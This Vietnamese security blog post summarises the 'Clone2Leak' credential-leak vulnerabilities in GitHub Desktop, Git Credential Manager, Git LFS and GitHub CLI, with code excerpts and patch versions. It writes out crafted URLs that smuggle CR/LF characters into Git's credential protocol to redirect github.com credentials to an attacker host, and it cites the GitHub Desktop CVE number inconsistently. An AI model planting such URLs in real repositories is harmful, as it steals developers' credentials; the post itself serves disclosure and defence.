Skip to main content

Command Palette

Search for a command to run...

Lỗ hổng trên Git có thể khiến thông tin đăng nhập của bạn rơi vào tay các hacker

Updated
6 min read
Lỗ hổng trên Git có thể khiến thông tin đăng nhập của bạn rơi vào tay các hacker

Mở đầu

Trong một báo cáo gần đây của RyotaK, một kỹ sư an toàn thông tin tại GMO Flatt Security, việc xử lý thông tin trong giao thức truy xuất thông tin đăng nhập của Git có thể làm rò rỉ thông tin của người dùng.

Thông tin chi tiết

Git truy xuất thông tin đăng nhập được lưu trữ trong trình trợ giúp thông tin xác thực dành riêng cho hệ thống bằng cách sử dụng giao thức thông tin xác thực, dựa trên văn bản trên đầu vào/đầu ra tiêu chuẩn và dựa trên các dòng cặp khóa-giá trị. Git sẽ gửi thông tin như sau tới trình trợ giúp thông tin xác thực:

protocol=https
host=github.com

Trình trợ giúp thông tin xác thực sẽ gửi về như sau:

protocol=https
host=github.com
username=USERNAME
password=PASSWORD

Mỗi dòng được ngăn cách bởi ký tự xuống dòng, được sử dụng trên cả Git và trình trợ giúp thông tin xác thực. Để ngăn chặn việc chèn thêm các thông tin khác, Git không cho phép ký tự xuống dòng và byte NULL trong từng cặp khóa-giá trị.

RyotaK phát hiện ra một tính năng trong Github Desktop tự động cung cấp thông tin đăng nhập tới Git client chứa lỗ hổng cho phép một repository độc hại trỏ tới một URL được tạo sẵn để làm rò rỉ thông tin đăng nhập.

  1. Regular Expression không hợp lệ trong Github Desktop cho phép trả về thông tin đăng nhập (CVE-2025-20340)

Github Desktop có tính năng cho phép cung cấp thông tin đăng nhập tới Git client tự động và được thiết lập bởi trình trợ giúp thông tin xác thực được gọi là trampoline:

const input = parseCredential(command.stdin)
    [...]
    if (firstParameter === 'get') {
      const cred = await getCredential(input, store, token)
      if (!cred) {
        const endpoint = `${getCredentialUrl(input)}`
        info(`could not find credential for ${endpoint}`)
        setHasRejectedCredentialsForEndpoint(token, endpoint)
      }
      return cred ? formatCredential(cred) : undefined
    } else if (firstParameter === 'store') {
      await storeCredential(input, store, token)
    } else if (firstParameter === 'erase') {
      await eraseCredential(input, store, token)
    }
    return undefined

Khi trampoline nhận được thông tin, nó sẽ phân tích đầu vào bằng hàm parseCredential. Tuy nhiên có một lỗi trong regular expression ở trong ECMAScript. Khi cở m (multiline) được thiết lập trong ECMAScript, nó sẽ tìm kiếm tất cả các chuỗi trên nhiều dòng. ECMA-262 định nghĩa kết thúc dòng:

  • <LF>: xuống dòng (\n)

  • <CR>: di chuyển con trỏ về đầu dòng (\r)

  • <LS>: ngắt dòng (\u2028)

  • <PS>: ngắt đoạn (\u2029)

Vì Git chỉ cấm ký tự xuống dòng (\n) nên kẻ tấn công có thể sử dụng URL như sau:

http://%0dprotocol=https%0dhost=github.com%0d@localhost:13337/

%0d là ký tự hex của di chuyển con trỏ về đầu dòng (\r). Điều này sẽ khiến cho Git gửi thông tin tới trình trợ giúp thông tin xác thực như sau:

protocol=http
host=localhost
username=\rprotocol=https\rhost=github.com\r

Git vẫn nhận ra host là localhost nhưng Github Desktop lại nhận host là github.com. Điều này dẫn tới việc thông tin đăng nhập github.com được gửi tới localhost.

  1. Git Credential Manager sử dụng không đúng cách StreamReader dẫn tới lộ thông tin đăng nhập (CVE-2024-50338)

Git Credential Manager là trình trợ giúp thông tin xác thực đa nền tảng dùng cho Git, được viết bằng .Net. Tương tự như Github Desktop, Git Credential Manager cũng xử lý giao thức thông tin xác thực không đúng cách, gây ra bởi lớp StreamReader trong .Net:

 public TextReader In
        {
            get
            {
                if (_stdIn == null)
                {
                    _stdIn = new StreamReader(Console.OpenStandardInput(), EncodingEx.UTF8NoBom);
                }

                return _stdIn;
            }
        }

Vì lớp StreamReader tách dòng sử dụng \n, \r và \r\n nên cách khai thác sử dụng trên Github Desktop áp dụng được trên Git Credential Manager.

  1. Chèn ký tự xuống dòng trong Git LFS dẫn đến lộ thông tin đăng nhập (CVE-2024-53263)

Git có cơ chế ngăn chặn chèn dòng mới có thể hoàn toàn ngăn chặn việc này, được viết trong credential.c như sau:

if (strchr(value, '\n'))
        die("credential value for %s contains newline", key);

Tuy nhiên, Git LFS, một extension của Git có tồn tại lỗ hổng làm lộ thông tin đăng nhập. Để giao tiếp với Git LFS endpoint, nó sẽ gọi tới trình trợ giúp thông tin xác thực.

cmd, err := subprocess.ExecCommand("git", "credential", subcommand)
    if err != nil {
        return nil, errors.New(tr.Tr.Get("failed to find `git credential %s`: %v", subcommand, err))
    }
    cmd.Stdin = bufferCreds(input)
    cmd.Stdout = output

Hàm bufferCreds sẽ gửi thông tin host tới trình trợ giúp thông tin xác thực và hàm này sẽ không loại bỏ ký tự xuống dòng. Dù vậy, Git vẫn sẽ kiểm tra URL trước khi gọi tới Git LFS nên vẫn an toàn. Tuy nhiên, Git LFS hỗ trợ đặc tả URL tùy ý từ file .lsconfig. Và vì Git không sử dụng file .lsconfig, URL có chứa ký tự xuống dòng nằm trong file trên khiến cho Git LFS chèn ký tự xuống dòng trong khi bỏ qua xác thực của Git. Ví dụ như dưới đây:

url = http://%0Ahost=github.com%0Aprotocol=https%0A@localhost:13337/

Khi Git LFS cố gắng truy xuất thông tin đăng nhập cho URL trên, nó sẽ gửi thông tin sau đến trình trợ giúp thông tin xác thực:

capability[]=authtype
capability[]=state
protocol=http
host=localhost
username=
host=github.com
protocol=https

Như vậy thông tin đăng nhập github.com được gửi tới localhost:13337

  1. Git CLI làm lộ access token tới host tùy ý (CVE-2024-53858)

Có một trình trợ giúp thông tin xác thực trong GitHub CLI, nhưng không giống như các trình trợ giúp thông tin xác thực ở trên, nó không có vấn đề liên quan đến ký tự dòng mới hoặc di chuyển con trỏ về đầu dòng. Tuy nhiên khi tìm thông tin đăng nhập trả về, hàm tokenForHost được sử dụng:

func tokenForHost(cfg *config.Config, host string) (string, string) {
    host = NormalizeHostname(host)
    if IsEnterprise(host) {
        if token := os.Getenv(ghEnterpriseToken); token != "" {
            return token, ghEnterpriseToken
        }
        if token := os.Getenv(githubEnterpriseToken); token != "" {
            return token, githubEnterpriseToken
        }
        if isCodespaces, _ := strconv.ParseBool(os.Getenv(codespaces)); isCodespaces {
            if token := os.Getenv(githubToken); token != "" {
                return token, githubToken
            }
        }
        if cfg != nil {
            token, _ := cfg.Get([]string{hostsKey, host, oauthToken})
            return token, oauthToken
        }
    }
    if token := os.Getenv(ghToken); token != "" {
        return token, ghToken
    }
    if token := os.Getenv(githubToken); token != "" {
        return token, githubToken
    }
    if cfg != nil {
        token, _ := cfg.Get([]string{hostsKey, host, oauthToken})
        return token, oauthToken
    }
    return "", defaultSource
}

Hàm này sẽ kiểm tra xem nếu host có phải là enterprise host không thông qua hàm IsEnterprise, sẽ luôn trả về giá trị true khi host không thuộc sở hữu của Github. Vì vậy nó sẽ luôn gửi access token tới host tùy ý nếu biến môi trường GH_ENTERPRISE_TOKEN, GITHUB_ENTERPRISE_TOKEN hoặc CODESPACES=trueGITHUB_TOKEN được set giá trị.

Trong khi 2 biến enterprise không phổ biến và biến CODESPACES luôn được thiết lập giá trị true khi chạy trên Github Codespaces, việc sao chép một repository đáng ngờ trên Github Codespaces sử dụng Github CLI sẽ luôn luôn lộ access token tới host của kẻ tấn công.

Khắc phục

Để vá lỗ hổng liên quan đến ký tự di chuyển con trỏ về đầu dòng (\r), Github đã thêm điều kiện kiểm tra trong giao thức thông tin xác thực và được theo dõi bằng CVE-2024-52006 vào ngày 14/01/2025.

Trong khi ghi nhận RyotaK vì đã báo cáo CVE-2024-50349 và CVE-2024-52006, GitHub đã thông báo rằng GitHub Desktop phiên bản 3.4.12 vá CVE-2025-23040, Git LFS phiên bản 3.6.1 sửa lỗi CVE-2024-53263 và bản vá Git Credential Manager phiên bản 2.6.1 CVE-2024-50338.

Tham khảo

  1. Git Vulnerabilities Led to Credentials Exposure - SecurityWeek

  2. Clone2Leak: Your Git Credentials Belong To Us - GMO Flatt Security Research

More from this blog

F

FPT IS Security

761 posts

Dedicated to providing insightful articles on cybersecurity threat intelligence, aimed at empowering individuals and organizations to navigate the digital landscape safely.